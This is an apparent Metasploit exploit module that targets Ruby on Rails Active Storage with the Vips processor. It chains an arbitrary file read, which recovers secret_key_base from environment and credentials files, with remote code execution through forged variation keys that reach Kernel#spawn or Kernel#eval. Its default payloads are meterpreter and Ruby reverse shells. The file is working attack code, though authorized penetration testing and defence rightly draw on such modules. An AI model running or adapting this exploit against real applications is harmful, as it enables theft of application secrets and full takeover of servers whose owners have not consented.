Ruby on Rails Active Storage Vips Arbitrary File Read and Remote Code Execution

# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HTTP::RailsActiveStorageVips
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ruby on Rails Active Storage Vips Arbitrary File Read and Remote Code Execution',
        'Description' => %q{
          This module exploits CVE-2026-66066 in Ruby on Rails Active Storage when
          the application uses the Vips variant processor and accepts untrusted image
          uploads. A crafted MATLAB v7.3/HDF5 image uses external storage to read text
          files accessible to the Rails worker through a PNG representation response.

          The module recovers secret_key_base from the process environment, Rails local
          secrets, encrypted credentials, or the legacy secrets.yml(.enc) files. It then
          forges a serializer-compatible variation whose ImageProcessing apply step reaches
          Kernel#spawn with a command payload, or Kernel#eval with a native Ruby payload when
          the Ruby target is selected. Neither path requires a Marshal object gadget. The
          Ruby target's initial code execution does not require a Unix shell or a fetch
          utility on the target.

          The file-read stage needs a genuine signed Active Storage variation key. It can use
          VARIATION_KEY directly, reuse a representation URL from the application, or create
          one through an application upload form. Supplying SECRET_KEY_BASE skips the
          arbitrary file-read stage and lets the module construct the standard
          representation route itself.

          The file-read stage affects Rails 6.0 and 6.1, Rails 7.0 through 7.2.3.1,
          Rails 8.0.0 through 8.0.5, and Rails 8.1.0 through 8.1.3. It is fixed in
          Rails 7.2.3.2, 8.0.5.1, and 8.1.3.1. The RCE stage combines an incomplete
          Vips-side fix for CVE-2025-24293 with ImageProcessing 1.x method dispatch;
          ImageProcessing 2.x blocks this chain.
        },
        'Author' => [
          '0xacb', # Vulnerability discovery and research
          's3np41k1r1t0', # Vulnerability discovery and research
          'castilho', # Vulnerability discovery and research
          'RyotaK', # Independent vulnerability discovery
          'Crypto-Cat' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2026-66066'],
          ['GHSA', 'xr9x-r78c-5hrm'],
          ['CVE', '2025-24293'],
          ['GHSA', 'r4mg-4433-c7g3'],
          ['URL', 'https://ethiack.com/info-hub/research/kindarails2shell-how-a-matlab-file-reads-your-secrets-and-pops-a-shell-on-ruby-on-rails'],
          ['URL', 'https://blog.flatt.tech/entry/kindarails2shell_rails'],
          ['URL', 'https://www.rapid7.com/blog/post/ra-kindarails2shell-technical-analysis-cve-2026-66066/'],
          ['URL', 'https://github.com/rails/rails/pull/56995'],
          ['URL', 'https://discuss.rubyonrails.org/t/cve-2026-66066-attack-details-and-tools-to-perform-a-forensic-investigation/91441'],
          ['URL', 'https://github.com/rails/rails-forensics-CVE-2026-66066']
        ],
        'DisclosureDate' => '2026-07-29',
        'Privileged' => false,
        'Targets' => [
          [
            'Linux/Unix Command',
            {
              'Platform' => [ 'unix', 'linux' ],
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                # Auto-selection chooses an FTP adapter, but the framework does not
                # support its default FETCH_COMMAND (CURL) for FTP URLs.
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp', # rubocop:disable Lint/ModuleDefaultPayload
                'FETCH_WRITABLE_DIR' => '/tmp',
                'FETCH_DELETE' => true
              }
            }
          ],
          [
            'Ruby',
            {
              'Platform' => 'ruby',
              'Arch' => ARCH_RUBY,
              'Type' => :ruby,
              'DefaultOptions' => {
                # Auto-selection chooses generic/shell_reverse_tcp, which does not
                # provide Ruby code for this eval target.
                'PAYLOAD' => 'ruby/shell_reverse_tcp' # rubocop:disable Lint/ModuleDefaultPayload
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Payload' => {
          'BadChars' => "\x00"
        },
        'Notes' => {
          'Stability' => [SERVICE_RESOURCE_LOSS],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base path to the Rails application', '/']),
        OptString.new('LANDINGURI', [true, 'Path to a page used for CSRF-token and representation discovery', '/']),
        OptString.new('SUBMITURI', [true, 'Path that accepts the attachment form submit', '/posts']),
        OptString.new('DIRECTUPLOADURI', [true, 'Active Storage direct-upload endpoint', '/rails/active_storage/direct_uploads']),
        OptString.new('ATTACHMENT_FIELD', [true, 'Form field used for the signed blob ID', 'post[image]']),
        OptInt.new('REPRESENTATION_INDEX', [true, 'Zero-based representation image index', 0]),
        OptString.new('REPRESENTATIONURI', [false, 'Existing Active Storage representation URL or path', nil]),
        OptString.new('VARIATION_KEY', [false, 'Known signed Active Storage variation key', nil]),
        OptString.new('SECRET_KEY_BASE', [false, 'Known Rails secret_key_base; skips the arbitrary file-read stage', nil]),
        OptString.new('CSRF_TOKEN', [false, 'Known CSRF token; otherwise extracted from LANDINGURI', nil]),
        OptString.new('COOKIE', [false, 'Cookie header for an authenticated upload workflow', nil]),
        OptEnum.new('KEY_GENERATOR_DIGEST', [true, 'Rails key generator digest', 'auto', %w[auto sha256 sha1 sha384 sha512]]),
        OptEnum.new('VERIFIER_DIGEST', [true, 'Active Support message verifier HMAC digest', 'auto', %w[auto sha1 sha256 sha384 sha512]]),
        OptEnum.new('MESSAGE_SERIALIZER', [true, 'Compatible Active Support message serialization format', 'auto', %w[auto json marshal]])
      ]
    )

    register_advanced_options(
      [
        OptInt.new('EnvironmentMaxBytes', [true, 'Maximum bytes to read from each procfs environment file', 65_536]),
        OptInt.new('CredentialsMaxBytes', [true, 'Maximum bytes to read from each Rails credentials or secrets file', 262_144]),
        OptInt.new('MaxReadRequests', [true, 'Maximum crafted file-read requests per check or exploit phase', 4096]),
        OptString.new('ExternalStorageOrigins', [false, 'Comma-separated trusted HTTP(S) origins for external storage requests', nil])
      ]
    )
  end

  def check
    reset_read_budget!
    validate_options!
    if datastore['SECRET_KEY_BASE'].present?
      secret_key_base = datastore['SECRET_KEY_BASE']
      @known_secret_context = context_from_known_secret(secret_key_base)
      verify_known_secret_context(@known_secret_context)
      @active_storage_service = report_active_storage_service
      return CheckCode::Detected('Validated SECRET_KEY_BASE and a signed Active Storage representation; the arbitrary file read was not tested')
    end

    @read_context = detect_read_context
    @active_storage_service = report_active_storage_service
    vuln = {
      service: @active_storage_service,
      info: 'Confirmed arbitrary file read through an Active Storage representation'
    }.compact
    CheckCode::Vulnerable(
      "Recovered /proc/version with the #{@read_context[:layout][:dimension]}x#{@read_context[:layout][:dimension]} #{@read_context[:mode]} layout",
      vuln: vuln
    )
  rescue ConfigError, DataError, FlowError, TriggerError, UnreachableError => e
    CheckCode::Unknown(e.message)
  end

  def exploit
    reset_read_budget!
    validate_options!
    context = if datastore['SECRET_KEY_BASE'].present?
                secret_key_base = datastore['SECRET_KEY_BASE']
                if @known_secret_context&.dig(:secret_key_base) == secret_key_base
                  @known_secret_context
                else
                  context_from_known_secret(secret_key_base).tap do |known_secret_context|
                    verify_known_secret_context(known_secret_context)
                  end
                end
              else
                read_context = @read_context ||= detect_read_context
                @active_storage_service = report_active_storage_service
                unless @vulnerability_reported
                  report_vuln(
                    host: rhost,
                    port: rport,
                    proto: 'tcp',
                    service: @active_storage_service,
                    name: fullname,
                    info: 'Confirmed arbitrary file read through an Active Storage representation',
                    refs: references
                  )
                end
                context_from_recovered_secret(read_context)
              end

    @active_storage_service = report_active_storage_service

    transformations = variation_transformations
    operation = transformations['send'].first
    print_status("Triggering the ImageProcessing send/#{operation} variation using #{context[:verifier_source]}")
    path = forged_representation_path(context, transformations)
    trigger_variation(path)
  rescue ConfigError, DataError => e
    fail_with(Failure::BadConfig, e.message)
  rescue UnreachableError => e
    fail_with(Failure::Unreachable, e.message)
  rescue FlowError, TriggerError => e
    fail_with(Failure::UnexpectedReply, e.message)
  end

end